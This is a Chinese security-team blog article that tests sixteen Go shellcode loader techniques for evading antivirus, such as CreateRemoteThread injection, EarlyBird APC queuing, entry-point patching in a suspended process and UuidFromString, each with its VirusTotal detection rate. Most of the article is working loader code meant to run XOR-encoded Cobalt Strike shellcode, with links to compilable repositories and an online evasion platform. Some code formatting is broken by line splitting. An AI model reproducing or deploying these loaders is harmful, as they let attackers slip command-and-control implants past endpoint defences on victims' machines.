免杀专题文章及工具:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:http://wiki.tidesec.com/docs/bypassav
本文涉及的所有代码和资料:https://github.com/TideSec/GoBypassAV/

0x01 基于API的免杀测试

1.1 介绍

目前基于Go的免杀,很大一部分都是基于已有API来各种姿势的加载shellcode,再加上shellcode的加解密、代码混淆、加壳、条件执行等方法,从而规避杀软的检测。
基于Go的各种加载器也就是为shellcode申请一段内存,然后把指令寄存器指向shellcode的开头,让机器执行这段shellcode,而Go实现这个功能就需要调用windows API了。
本次所有测试代码:https://github.com/TideSec/GoBypassAV/下的Go_Windows_API目录,所有代码均可单独编译运行。
通过对Go免杀的研究,实现了一个在线免杀平台,目前生成x64位的免杀效果尚可,x86的效果一般。
潮影在线免杀平台:http://bypass.tidesec.com/

1.2 测试环境

本文搜集汇总了网上各种基于Go的API代码实现方式,共16种,应该算是比较全面的了,逐一进行了免杀测试。
  • 测试环境:Win10 x64
  • shellcode:CobalStrike 4.4生成的64位shellcode,使用了异或xor算法进行编码
  • Golang版本:1.18.3
  • 测试参数:使用go build -gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH -ldflags "-w -s" 编译生成
  • 说明:方便对比起见,本次测试均未结合其他免杀方式。
CobalStrike 4.4生成的shellcode使用异或算法进行编码,异或代码在这里:https://github.com/TideSec/GoBypassAV/blob/master/Encryption/xor/xor.go

1.3 测试结果

测试使用的平台为VT平台:https://virustotal.com/
API介绍部分参考piiperxyz大佬的https://github.com/piiperxyz/AniYa

0x02 不同API的免杀测试情况

2.00 HelloTide测试(VT免杀率7/70)

测试之前先用helloTide测试一下,发现VT的查杀率能到7/70,所以现在想把Go语言做到0免杀已经很难了,能达到10/70以下就算不错的了。在去年的时候还能用-race参数做到基本0免杀,但现在加上-race参数只会查杀更厉害。
package
 main


import"fmt"

funcmain()
{

 fmt.Println(
"Hello Tide"
)

}

2.01 CreateFiber(VT免杀率18/70)

核心代码
kernel32 := windows.NewLazySystemDLL(
"kernel32.dll"
)

ntdll := windows.NewLazySystemDLL(
"ntdll.dll"
)

VirtualAlloc := kernel32.NewProc(
"VirtualAlloc"
)

VirtualProtect := kernel32.NewProc(
"VirtualProtect"
)

RtlCopyMemory := ntdll.NewProc(
"RtlCopyMemory"
)

ConvertThreadToFiber := kernel32.NewProc(
"ConvertThreadToFiber"
)

CreateFiber := kernel32.NewProc(
"CreateFiber"
)

SwitchToFiber := kernel32.NewProc(
"SwitchToFiber"
)

fiberAddr, _, _ := ConvertThreadToFiber.Call()

addr, _, _ := VirtualAlloc.Call(
0
uintptr
(
len
(shellcode)), MemCommit|MemReserve, PageReadwrite)

_, _, _ = RtlCopyMemory.Call(addr, (
uintptr
)(unsafe.Pointer(&shellcode[
0
])), 
uintptr
(
len
(shellcode)))

oldProtect := PageReadwrite

_, _, _ = VirtualProtect.Call(addr, 
uintptr
(
len
(shellcode)), PageExecuteRead, 
uintptr
(unsafe.Pointer(&oldProtect)))

fiber, _, _ := CreateFiber.Call(
0
, addr, 
0
)

_, _, _ = SwitchToFiber.Call(fiber)

_, _, _ = SwitchToFiber.Call(fiberAddr)


2.02 CreateProcessWithPipe(VT免杀率8/70)

核心代码
VirtualAllocEx := kernel32.NewProc(
"VirtualAllocEx"
)

VirtualProtectEx := kernel32.NewProc(
"VirtualProtectEx"
)

WriteProcessMemory := kernel32.NewProc(
"WriteProcessMemory"
)

NtQueryInformationProcess := ntdll.NewProc(
"NtQueryInformationProcess"
)


errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), 
nil
nil
true
, windows.CREATE_SUSPENDED, 
nil
nil
, startupInfo, procInfo)


addr, _, errVirtualAlloc := VirtualAllocEx.Call(
uintptr
(procInfo.Process), 
0
uintptr
(
len
(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)


2.03 CreateRemoteThread(VT免杀率8/70)

核心代码
kernel32 := windows.NewLazySystemDLL(
"kernel32.dll"
)

VirtualAllocEx := kernel32.NewProc(
"VirtualAllocEx"
)

VirtualProtectEx := kernel32.NewProc(
"VirtualProtectEx"
)

WriteProcessMemory := kernel32.NewProc(
"WriteProcessMemory"
)

CreateRemoteThreadEx := kernel32.NewProc(
"CreateRemoteThreadEx"
)

pHandle, _ := windows.OpenProcess(

    windows.PROCESS_CREATE_THREAD|

        windows.PROCESS_VM_OPERATION|

        windows.PROCESS_VM_WRITE|

        windows.PROCESS_VM_READ|

        windows.PROCESS_QUERY_INFORMATION,

false
,

uint32
(pid),

)

addr, _, _ := VirtualAllocEx.Call(

uintptr
(pHandle),

0
,

uintptr
(
len
(shellcode)),

    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,

)

fmt.Println(
"ok"
)

_, _, _ = WriteProcessMemory.Call(

uintptr
(pHandle),

    addr,

    (
uintptr
)(unsafe.Pointer(&shellcode[
0
])),

uintptr
(
len
(shellcode)),

)

oldProtect := windows.PAGE_READWRITE

_, _, _ = VirtualProtectEx.Call(

uintptr
(pHandle),

    addr,

uintptr
(
len
(shellcode)),

    windows.PAGE_EXECUTE_READ,

uintptr
(unsafe.Pointer(&oldProtect)),

)

_, _, _ = CreateRemoteThreadEx.Call(
uintptr
(pHandle), 
0
0
, addr, 
0
0
0
)

_ = windows.CloseHandle(pHandle

2.04 CreateRemoteThreadEx(VT免杀率9/70)

核心代码
kernel32 := windows.NewLazySystemDLL(
"kernel32.dll"
)

OpenProcess := kernel32.NewProc(
"OpenProcess"
)

VirtualAllocEx := kernel32.NewProc(
"VirtualAllocEx"
)

VirtualProtectEx := kernel32.NewProc(
"VirtualProtectEx"
)

WriteProcessMemory := kernel32.NewProc(
"WriteProcessMemory"
)

CreateRemoteThreadEx := kernel32.NewProc(
"CreateRemoteThreadEx"
)

CloseHandle := kernel32.NewProc(
"CloseHandle"
)

pHandle, _, _ := OpenProcess.Call(

    windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|

        windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 
0
,

uintptr
(
uint32
(pid)),

)

addr, _, _ := VirtualAllocEx.Call(pHandle, 
0
uintptr
(
len
(shellcode)),

    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)

fmt.Println(
"ok"
)

_, _, _ = WriteProcessMemory.Call(pHandle, addr, (
uintptr
)(unsafe.Pointer(&shellcode[
0
])),

uintptr
(
len
(shellcode)))

oldProtect := windows.PAGE_READWRITE

_, _, _ = VirtualProtectEx.Call(pHandle, addr, 
uintptr
(
len
(shellcode)),

    windows.PAGE_EXECUTE_READ, 
uintptr
(unsafe.Pointer(&oldProtect)))

_, _, _ = CreateRemoteThreadEx.Call(pHandle, 
0
0
, addr, 
0
0
0
)

_, _, _ = CloseHandle.Call(
uintptr
(
uint32
(pHandle)))

2.05 CreateThread(VT免杀率8/70)

核心代码
addr, _ := windows.VirtualAlloc(
uintptr
(
0
), 
uintptr
(
len
(shellcode)),

windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)

ntdll := windows.NewLazySystemDLL(
"ntdll.dll"
)

RtlCopyMemory := ntdll.NewProc(
"RtlCopyMemory"
)

_, _, _ = RtlCopyMemory.Call(addr, (
uintptr
)(unsafe.Pointer(&shellcode[
0
])), 
uintptr
(
len
(shellcode)))

var
 oldProtect 
uint32
_ = windows.VirtualProtect(addr, 
uintptr
(
len
(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)

kernel32 := windows.NewLazySystemDLL(
"kernel32.dll"
)

CreateThread := kernel32.NewProc(
"CreateThread"
)

thread, _, _ := CreateThread.Call(
0
0
, addr, 
uintptr
(
0
), 
0
0
)

_, _ = windows.WaitForSingleObject(windows.Handle(thread), 
0xFFFFFFFF
)

2.06 CreateThreadNative(VT免杀率8/69)

核心代码
kernel32 := windows.NewLazySystemDLL(
"kernel32.dll"
)

ntdll := windows.NewLazySystemDLL(
"ntdll.dll"
)

VirtualAlloc := kernel32.NewProc(
"VirtualAlloc"
)

VirtualProtect := kernel32.NewProc(
"VirtualProtect"
)

RtlCopyMemory := ntdll.NewProc(
"RtlCopyMemory"
)

CreateThread := kernel32.NewProc(
"CreateThread"
)

WaitForSingleObject := kernel32.NewProc(
"WaitForSingleObject"
)

addr, _, _ := VirtualAlloc.Call(
0
uintptr
(
len
(shellcode)),

    MemCommit|MemReserve, PageReadwrite)

_, _, _ = RtlCopyMemory.Call(addr, (
uintptr
)(unsafe.Pointer(&shellcode[
0
])),

uintptr
(
len
(shellcode)))

oldProtect := PageReadwrite

_, _, _ = VirtualProtect.Call(addr, 
uintptr
(
len
(shellcode)), PageExecuteRead,

uintptr
(unsafe.Pointer(&oldProtect)))

thread, _, _ := CreateThread.Call(
0
0
, addr, 
uintptr
(
0
), 
0
0
)

_, _, _ = WaitForSingleObject.Call(thread, 
0xFFFFFFFF
)

2.07 CreatProcess(VT免杀率8/70)

核心代码
kernel32 := windows.NewLazySystemDLL(
"kernel32.dll"
)

ntdll := windows.NewLazySystemDLL(
"ntdll.dll"
)

VirtualAllocEx := kernel32.NewProc(
"VirtualAllocEx"
)

VirtualProtectEx := kernel32.NewProc(
"VirtualProtectEx"
)

WriteProcessMemory := kernel32.NewProc(
"WriteProcessMemory"
)

NtQueryInformationProcess := ntdll.NewProc(
"NtQueryInformationProcess"
)

procInfo := &windows.ProcessInformation{}

startupInfo := &windows.StartupInfo{

    Flags:      windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,

    ShowWindow: 
1
,

}

appName, _ := syscall.UTF16PtrFromString(program)

commandLine, _ := syscall.UTF16PtrFromString(
""
)

_ = windows.CreateProcess(

    appName,

    commandLine,

nil
,

nil
,

true
,

    windows.CREATE_SUSPENDED,

nil
,

nil
,

    startupInfo,

    procInfo,

)

addr, _, _ := VirtualAllocEx.Call(

uintptr
(procInfo.Process),

0
,

uintptr
(
len
(shellcode)),

    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,

)

fmt.Println(
"ok"
)

_, _, _ = WriteProcessMemory.Call(

uintptr
(procInfo.Process),

    addr,

    (
uintptr
)(unsafe.Pointer(&shellcode[
0
])),

uintptr
(
len
(shellcode)),

)

oldProtect := windows.PAGE_READWRITE

_, _, _ = VirtualProtectEx.Call(

uintptr
(procInfo.Process),

    addr,

uintptr
(
len
(shellcode)),

    windows.PAGE_EXECUTE_READ,

uintptr
(unsafe.Pointer(&oldProtect)),

)


var
 processInformation ProcessBasicInformation

var
 returnLength 
uintptr

_, _, _ = NtQueryInformationProcess.Call(

uintptr
(procInfo.Process),

0
,

uintptr
(unsafe.Pointer(&processInformation)),

    unsafe.Sizeof(processInformation),

    returnLength,

)

ReadProcessMemory := kernel32.NewProc(
"ReadProcessMemory"
)


var
 peb PEB

var
 readBytes 
int32

_, _, _ = ReadProcessMemory.Call(

uintptr
(procInfo.Process),

    processInformation.PebBaseAddress,

uintptr
(unsafe.Pointer(&peb)),

    unsafe.Sizeof(peb),

uintptr
(unsafe.Pointer(&readBytes)),

)


var
 dosHeader ImageDosHeader

var
 readBytes2 
int32

_, _, _ = ReadProcessMemory.Call(

uintptr
(procInfo.Process),

    peb.ImageBaseAddress,

uintptr
(unsafe.Pointer(&dosHeader)),

    unsafe.Sizeof(dosHeader),

uintptr
(unsafe.Pointer(&readBytes2)),

)


var
 Signature 
uint32
var
 readBytes3 
int32

_, _, _ = ReadProcessMemory.Call(

uintptr
(procInfo.Process),

    peb.ImageBaseAddress+
uintptr
(dosHeader.LfaNew),

uintptr
(unsafe.Pointer(&Signature)),

    unsafe.Sizeof(Signature),

uintptr
(unsafe.Pointer(&readBytes3)),

)


var
 peHeader ImageFileHeader

var
 readBytes4 
int32

_, _, _ = ReadProcessMemory.Call(

uintptr
(procInfo.Process),

    peb.ImageBaseAddress+
uintptr
(dosHeader.LfaNew)+unsafe.Sizeof(Signature),

uintptr
(unsafe.Pointer(&peHeader)),

    unsafe.Sizeof(peHeader),

uintptr
(unsafe.Pointer(&readBytes4)),

)


var
 optHeader64 ImageOptionalHeader64

var
 optHeader32 ImageOptionalHeader32

var
 readBytes5 
int32

if
 peHeader.Machine == 
34404
 {

    _, _, _ = ReadProcessMemory.Call(

uintptr
(procInfo.Process),

        peb.ImageBaseAddress+
uintptr
(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),

uintptr
(unsafe.Pointer(&optHeader64)),

        unsafe.Sizeof(optHeader64),

uintptr
(unsafe.Pointer(&readBytes5)),

    )

elseif
 peHeader.Machine == 
332
 {

    _, _, _ = ReadProcessMemory.Call(

uintptr
(procInfo.Process),

        peb.ImageBaseAddress+
uintptr
(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),

uintptr
(unsafe.Pointer(&optHeader32)),

        unsafe.Sizeof(optHeader32),

uintptr
(unsafe.Pointer(&readBytes5)),

    )

}


var
 ep 
uintptr
if
 peHeader.Machine == 
34404
 {

    ep = peb.ImageBaseAddress + 
uintptr
(optHeader64.AddressOfEntryPoint)

elseif
 peHeader.Machine == 
332
 {

    ep = peb.ImageBaseAddress + 
uintptr
(optHeader32.AddressOfEntryPoint)

}


var
 epBuffer []
byte
var
 shellcodeAddressBuffer []
byte

if
 peHeader.Machine == 
34404
 {

    epBuffer = 
append
(epBuffer, 
byte
(
0x48
))

    epBuffer = 
append
(epBuffer, 
byte
(
0xb8
))

    shellcodeAddressBuffer = 
make
([]
byte
8
)

    binary.LittleEndian.PutUint64(shellcodeAddressBuffer, 
uint64
(addr))

    epBuffer = 
append
(epBuffer, shellcodeAddressBuffer...)

elseif
 peHeader.Machine == 
332
 {

    epBuffer = 
append
(epBuffer, 
byte
(
0xb8
))

    shellcodeAddressBuffer = 
make
([]
byte
4
// 4 bytes for 32-bit address
    binary.LittleEndian.PutUint32(shellcodeAddressBuffer, 
uint32
(addr))

    epBuffer = 
append
(epBuffer, shellcodeAddressBuffer...)

}


epBuffer = 
append
(epBuffer, 
byte
(
0xff
))

epBuffer = 
append
(epBuffer, 
byte
(
0xe0
))


_, _, _ = WriteProcessMemory.Call(

uintptr
(procInfo.Process),

    ep,

uintptr
(unsafe.Pointer(&epBuffer[
0
])),

uintptr
(
len
(epBuffer)),

)


_, _ = windows.ResumeThread(procInfo.Thread)

_ = windows.CloseHandle(procInfo.Process)

_ = windows.CloseHandle(procInfo.Thread)

2.08 EarlyBird(VT免杀率6/69)

核心代码
kernel32 := windows.NewLazySystemDLL(
"kernel32.dll"
)

VirtualAllocEx := kernel32.NewProc(
"VirtualAllocEx"
)

VirtualProtectEx := kernel32.NewProc(
"VirtualProtectEx"
)

WriteProcessMemory := kernel32.NewProc(
"WriteProcessMemory"
)

QueueUserAPC := kernel32.NewProc(
"QueueUserAPC"
)

procInfo := &windows.ProcessInformation{}

startupInfo := &windows.StartupInfo{

Flags:      windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,

ShowWindow: 
1
,

}

program, _ := syscall.UTF16PtrFromString(
"C:\\Windows\\System32\\notepad.exe"
)

args, _ := syscall.UTF16PtrFromString(
""
)

_ = windows.CreateProcess(

program,

args,

nil
nil
true
,

windows.CREATE_SUSPENDED, 
nil
nil
, startupInfo, procInfo)

addr, _, _ := VirtualAllocEx.Call(
uintptr
(procInfo.Process), 
0
uintptr
(
len
(shellcode)),

windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)

fmt.Println(
"ok"
)

_, _, _ = WriteProcessMemory.Call(
uintptr
(procInfo.Process), addr,

(
uintptr
)(unsafe.Pointer(&shellcode[
0
])), 
uintptr
(
len
(shellcode)))

oldProtect := windows.PAGE_READWRITE

_, _, _ = VirtualProtectEx.Call(
uintptr
(procInfo.Process), addr,

uintptr
(
len
(shellcode)), windows.PAGE_EXECUTE_READ, 
uintptr
(unsafe.Pointer(&oldProtect)))

_, _, _ = QueueUserAPC.Call(addr, 
uintptr
(procInfo.Thread), 
0
)

_, _ = windows.ResumeThread(procInfo.Thread)

_ = windows.CloseHandle(procInfo.Process)

_ = windows.CloseHandle(procInfo.Thread)

2.09 EtwpCreateEtwThread(VT免杀率9/70)

核心代码
kernel32 := windows.NewLazySystemDLL(
"kernel32.dll"
)

ntdll := windows.NewLazySystemDLL(
"ntdll.dll"
)

VirtualAlloc := kernel32.NewProc(
"VirtualAlloc"
)

VirtualProtect := kernel32.NewProc(
"VirtualProtect"
)

RtlCopyMemory := ntdll.NewProc(
"RtlCopyMemory"
)

EtwpCreateEtwThread := ntdll.NewProc(
"EtwpCreateEtwThread"
)

WaitForSingleObject := kernel32.NewProc(
"WaitForSingleObject"
)

addr, _, _ := VirtualAlloc.Call(
0
uintptr
(
len
(shellcode)),

    MemCommit|MemReserve, PageReadwrite)

_, _, _ = RtlCopyMemory.Call(addr, (
uintptr
)(unsafe.Pointer(&shellcode[
0
])),

uintptr
(
len
(shellcode)))

oldProtect := PageReadwrite

_, _, _ = VirtualProtect.Call(addr, 
uintptr
(
len
(shellcode)),

    PageExecuteRead, 
uintptr
(unsafe.Pointer(&oldProtect)))

thread, _, _ := EtwpCreateEtwThread.Call(addr, 
uintptr
(
0
))

_, _, _ = WaitForSingleObject.Call(thread, 
0xFFFFFFFF
)

2.10 HeapAlloc(VT免杀率18/70)

核心代码
shellSize := 
uintptr
(
len
(shellcode))

handle, _, _ := RtlCreateHeap.Call(
0x00040000
|
0x00000002
0
, shellSize, shellSize, 
0
0
)

alloc, _, _ := RtlAllocateHeap.Call(handle, 
0x00000008
, shellSize)


for
 index := 
uint32
(
0
); index < 
uint32
(
len
(shellcode)); index++ {

    writePtr := unsafe.Pointer(alloc + 
uintptr
(index))

    v := (*
byte
)(writePtr)

    *v = shellcode[index]

}

_, _, _ = syscall.Syscall(alloc, 
0
0
0
0
)

2.11 NtQueueApcThreadEx(VT免杀率9/70)

核心代码
kernel32 := windows.NewLazySystemDLL(
"kernel32.dll"
)

ntdll := windows.NewLazySystemDLL(
"ntdll.dll"
)

VirtualAlloc := kernel32.NewProc(
"VirtualAlloc"
)

VirtualProtect := kernel32.NewProc(
"VirtualProtect"
)

GetCurrentThread := kernel32.NewProc(
"GetCurrentThread"
)

RtlCopyMemory := ntdll.NewProc(
"RtlCopyMemory"
)

NtQueueApcThreadEx := ntdll.NewProc(
"NtQueueApcThreadEx"
)

addr, _, _ := VirtualAlloc.Call(
0
uintptr
(
len
(shellcode)), MemCommit|MemReserve, PageReadwrite)

fmt.Println(
"ok"
)

_, _, _ = RtlCopyMemory.Call(addr, (
uintptr
)(unsafe.Pointer(&shellcode[
0
])), 
uintptr
(
len
(shellcode)))

oldProtect := PageReadwrite

_, _, _ = VirtualProtect.Call(addr, 
uintptr
(
len
(shellcode)), PageExecuteRead, 
uintptr
(unsafe.Pointer(&oldProtect)))

thread, _, _ := GetCurrentThread.Call()

_, _, _ = NtQueueApcThreadEx.Call(thread, 
1
, addr, 
0
0
0
)

2.12 ProcCryptProtectMemory(VT免杀率18/70)

核心代码
addr, _, err := VirtualAlloc.Call(
0
uintptr
(
len
(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

if
 err != 
nil
 && err.Error() != 
"The operation completed successfully."
 {

    syscall.Exit(
0
)

}

time.Sleep(
2
 * time.Second)

_, _, err = RtlCopyMemory.Call(addr, (
uintptr
)(unsafe.Pointer(&charcode[
0
])), 
uintptr
(
len
(charcode)))

procCryptProtectMemory.Call(
uintptr
(addr), 
uintptr
(
len
(charcode)), 
uintptr
(
0x00
))

if
 err != 
nil
 && err.Error() != 
"The operation completed successfully."
 {

    syscall.Exit(
0
)

}


time.Sleep(
2
 * time.Second)

syscall.Syscall(addr, 
0
0
0
0
)

2.13 RtlCreateUserThread(VT免杀率8/69)

核心代码
kernel32 := windows.NewLazySystemDLL(
"kernel32.dll"
)

ntdll := windows.NewLazySystemDLL(
"ntdll.dll"
)

OpenProcess := kernel32.NewProc(
"OpenProcess"
)

VirtualAllocEx := kernel32.NewProc(
"VirtualAllocEx"
)

VirtualProtectEx := kernel32.NewProc(
"VirtualProtectEx"
)

WriteProcessMemory := kernel32.NewProc(
"WriteProcessMemory"
)

RtlCreateUserThread := ntdll.NewProc(
"RtlCreateUserThread"
)

CloseHandle := kernel32.NewProc(
"CloseHandle"
)

pHandle, _, _ := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|

    windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,

0
uintptr
(
uint32
(pid)))

addr, _, _ := VirtualAllocEx.Call(pHandle, 
0
uintptr
(
len
(shellcode)),

    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)

fmt.Println(
"ok"
)

_, _, _ = WriteProcessMemory.Call(pHandle, addr, (
uintptr
)(unsafe.Pointer(&shellcode[
0
])),

uintptr
(
len
(shellcode)))

oldProtect := windows.PAGE_READWRITE

_, _, _ = VirtualProtectEx.Call(pHandle, addr, 
uintptr
(
len
(shellcode)),

    windows.PAGE_EXECUTE_READ, 
uintptr
(unsafe.Pointer(&oldProtect)))

var
 tHandle 
uintptr
_, _, _ = RtlCreateUserThread.Call(pHandle, 
0
0
0
0
0
, addr, 
0
,

uintptr
(unsafe.Pointer(&tHandle)), 
0
)

_, _, _ = CloseHandle.Call(
uintptr
(
uint32
(pHandle)))

2.14 RtlMoveMemory(VT免杀率17/70)

核心代码
addr, _, err := VirtualAlloc.Call(
0
uintptr
(
len
(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

if
 addr == 
0
 {

    checkErr(err)

}

_, _, err = RtlMoveMemory.Call(addr, (
uintptr
)(unsafe.Pointer(&shellcode[
0
])), 
uintptr
(
len
(shellcode)))

checkErr(err)


for
 j := 
0
; j < 
len
(shellcode); j++ {

    shellcode[j] = 
0
}

for
 j := 
0
; j < 
len
(shellcode); j++ {

    shellcode[j] = 
0
}


syscall.Syscall(addr, 
0
0
0
0
)

2.15 SyscallUnsafe(VT免杀率16/70)

核心代码
funcrun(scd []byte)
 {


 ff := 
func()
 {}

var
 oldfperms 
uint32
if
 !VirtualProtect1(unsafe.Pointer(*(**
uintptr
)(unsafe.Pointer(&ff))), unsafe.Sizeof(
uintptr
(
0
)), 
uint32
(
0x40
), unsafe.Pointer(&oldfperms)) {

 }


 **(**
uintptr
)(unsafe.Pointer(&ff)) = *(*
uintptr
)(unsafe.Pointer(&scd))

var
 old 
uint32
if
 !VirtualProtect1(unsafe.Pointer(*(*
uintptr
)(unsafe.Pointer(&scd))), 
uintptr
(
len
(scd)), 
uint32
(
0x40
), unsafe.Pointer(&old)) {

 }

 ff()

}

2.16 UuidFromString(VT免杀率19/70)

核心代码
kernel32 := windows.NewLazySystemDLL(
"kernel32"
)

rpcrt4 := windows.NewLazySystemDLL(
"Rpcrt4.dll"
)

heapCreate := kernel32.NewProc(
"HeapCreate"
)

heapAlloc := kernel32.NewProc(
"HeapAlloc"
)

enumSystemLocalesA := kernel32.NewProc(
"EnumSystemLocalesA"
)

uuidFromString := rpcrt4.NewProc(
"UuidFromStringA"
)

heapAddr, _, _ := heapCreate.Call(
0x00040000
0
0
)

addr, _, _ := heapAlloc.Call(heapAddr, 
0
0x00100000
)

addrPtr := addr

for
 _, temp := 
range
 uuids {

    u := 
append
([]
byte
(temp), 
0
)

    _, _, _ = uuidFromString.Call(
uintptr
(unsafe.Pointer(&u[
0
])), addrPtr)

    addrPtr += 
16
}

_, _, _ = enumSystemLocalesA.Call(addr, 
0
)

0x03 测试小结

发现在使用GO进行免杀时,单纯使用API时有的效果还可以,但兼容性稳定性不一定好,而兼容性好使用较多的免杀效果又比较一般。
比如比较早期出现的Go加载器https://github.com/brimstone/go-shellcode就是用了上面2.15 SyscallUnsafe的方式,现在很多基于Go的免杀也都在使用这种API,目前VT免杀率16/70。
所以要想得到更好的免杀效果,还是要多种方式结合,下篇文章将总结一下Golang免杀的常见方式。多种方式结合,将会有更好的免杀效果。

0x04 参考资料

本文内容参考节选自以下资料:
go-shellcode:https://github.com/Ne0nd0g/go-shellcode
GolangBypassAV:https://github.com/safe6Sec/GolangBypassAV
windows免杀:https://blog.z3ratu1.cn/windows免杀入门.htm
AniYa免杀:https://github.com/piiperxyz/AniYa
golang免杀初尝试:https://xz.aliyun.com/t/11279
E
N
D
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
继续阅读
阅读原文